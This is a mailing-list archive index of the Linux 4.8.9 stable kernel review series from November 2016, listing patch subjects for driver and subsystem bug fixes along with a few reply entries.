2016-11-17 10:31   ` [PATCH 4.8 16/92] pinctrl: cherryview: Prevent possible interrupt storm on resume Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 17/92] cpupower: Correct return type of cpu_power_is_cpu_online() in cpufreq-set Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 18/92] mmc: sdhci: Fix CMD line reset interfering with ongoing data transfer Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 19/92] mmc: sdhci: Fix unexpected data interrupt handling Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 20/92] mmc: mmc: Use 500ms as the default generic CMD6 timeout Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 21/92] staging: iio: ad5933: avoid uninitialized variable in error case Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 22/92] staging: sm750fb: Fix bugs introduced by early commits Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 23/92] staging: comedi: ni_tio: fix buggy ni_tio_clock_period_ps() return value Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 24/92] drivers: staging: nvec: remove bogus reset command for PS/2 interface Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 25/92] Revert "staging: nvec: ps2: change serio type to passthrough" Greg Kroah-Hartman
2016-11-17 10:31   ` [PATCH 4.8 26/92] staging: nvec: remove managed resource from PS2 driver Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 27/92] usb: dwc3: Fix error handling for core init Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 28/92] USB: cdc-acm: fix TIOCMIWAIT Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 30/92] drbd: Fix kernel_sendmsg() usage - potential NULL deref Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 31/92] toshiba-wmi: Fix loading the driver on non Toshiba laptops Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 32/92] clk: qoriq: Dont allow CPU clocks higher than starting value Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 33/92] cdc-acm: fix uninitialized variable Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 34/92] iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 35/92] iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver) Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 36/92] iio: st_sensors: fix scale configuration for h3lis331dl Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 37/92] scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 38/92] scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 39/92] scsi: scsi_dh_alua: fix missing kref_put() in alua_rtpg_work() Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 40/92] scsi: scsi_dh_alua: Fix a reference counting bug Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 41/92] KVM: arm/arm64: vgic: Prevent access to invalid SPIs Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 45/92] drm/i915/dp: Extend BDW DP audio workaround to GEN9 platforms Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 47/92] drm/amdgpu: fix crash in acp_hw_fini Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 51/92] xprtrdma: use complete() instead complete_all() Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 52/92] xprtrdma: Fix DMAR failure in frwr_op_map() after reconnect Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 53/92] iommu/io-pgtable-arm: Check for v7s-incapable systems Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 54/92] iommu/amd: Free domain id when free a domain of struct dma_ops_domain Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 55/92] iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 57/92] watchdog: core: Fix devres_alloc() allocation size Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 58/92] Input: synaptics-rmi4 - fix error handling in SPI transport driver Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 59/92] Input: synaptics-rmi4 - fix error handling in I2C " Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 60/92] perf top: Fix refreshing hierarchy entries on TUI Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 61/92] mei: bus: fix received data size check in NFC fixup Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 62/92] svcrdma: Skip put_page() when send_reply() fails Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 63/92] svcrdma: Tail iovec leaves an orphaned DMA mapping Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 64/92] nvme: Delete created IO queues on reset Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 65/92] Revert "clocksource/drivers/timer_sun5i: Replace code by clocksource_mmio_init" Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 66/92] x86/build: Fix build with older GCC versions Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 67/92] clk: samsung: clk-exynos-audss: Fix module autoload Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 68/92] rtc: pcf2123: Add missing error code assignment before test Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 69/92] s390/dumpstack: restore reliable indicator for call traces Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 70/92] lib/genalloc.c: start search from start of chunk Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 71/92] hwrng: core - Dont use a stack buffer in add_early_randomness() Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 72/92] i40e: fix call of ndo_dflt_bridge_getlink() Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 73/92] mmc: sdhci-msm: Fix error return code in sdhci_msm_probe() Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 74/92] ACPI / APEI: Fix incorrect return value of ghes_proc() Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 75/92] ACPI/PCI/IRQ: assign ISA IRQ directly during early boot stages Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 76/92] ACPI/PCI: pci_link: penalize SCI correctly Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 77/92] ACPI/PCI: pci_link: Include PIRQ_PENALTY_PCI_USING for ISA IRQs Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 80/92] gpio/mvebu: Use irq_domain_add_linear Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 81/92] gpio: of: fix GPIO drivers with multiple gpio_chip for a single node Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 82/92] ASoC: Intel: Skylake: Always acquire runtime pm ref on unload Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 83/92] ASoC: sun4i-codec: return error code instead of NULL when create_card fails Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 84/92] pinctrl: iproc: Fix iProc and NSP GPIO support Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 85/92] mmc: mxs: Initialize the spinlock prior to using it Greg Kroah-Hartman
2016-11-17 10:32   ` [PATCH 4.8 86/92] memcg: prevent memcg caches to be both OFF_SLAB & OBJFREELIST_SLAB Greg Kroah-Hartman
2016-11-17 10:33   ` [PATCH 4.8 87/92] libceph: fix legacy layout decode with pool 0 Greg Kroah-Hartman
2016-11-17 10:33   ` [PATCH 4.8 88/92] NFSv4.1: work around -Wmaybe-uninitialized warning Greg Kroah-Hartman
2016-11-17 10:33   ` [PATCH 4.8 92/92] netfilter: fix namespace handling in nf_log_proc_dostring Greg Kroah-Hartman
     [not found]   ` <20161117103227.709330459@linuxfoundation.org>
2016-11-17 10:51     ` [PATCH 4.8 78/92] batman-adv: fix splat on disabling an interface Sven Eckelmann
2016-11-17 12:02       ` Greg Kroah-Hartman
     [not found]   ` <ff6afc35-bd5d-f6f0-f483-e1bc692646d5@samsung.com>
2016-11-17 16:48     ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
2016-11-17 22:23   ` Guenter Roeck
2016-11-18  7:14     ` Greg Kroah-Hartman

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).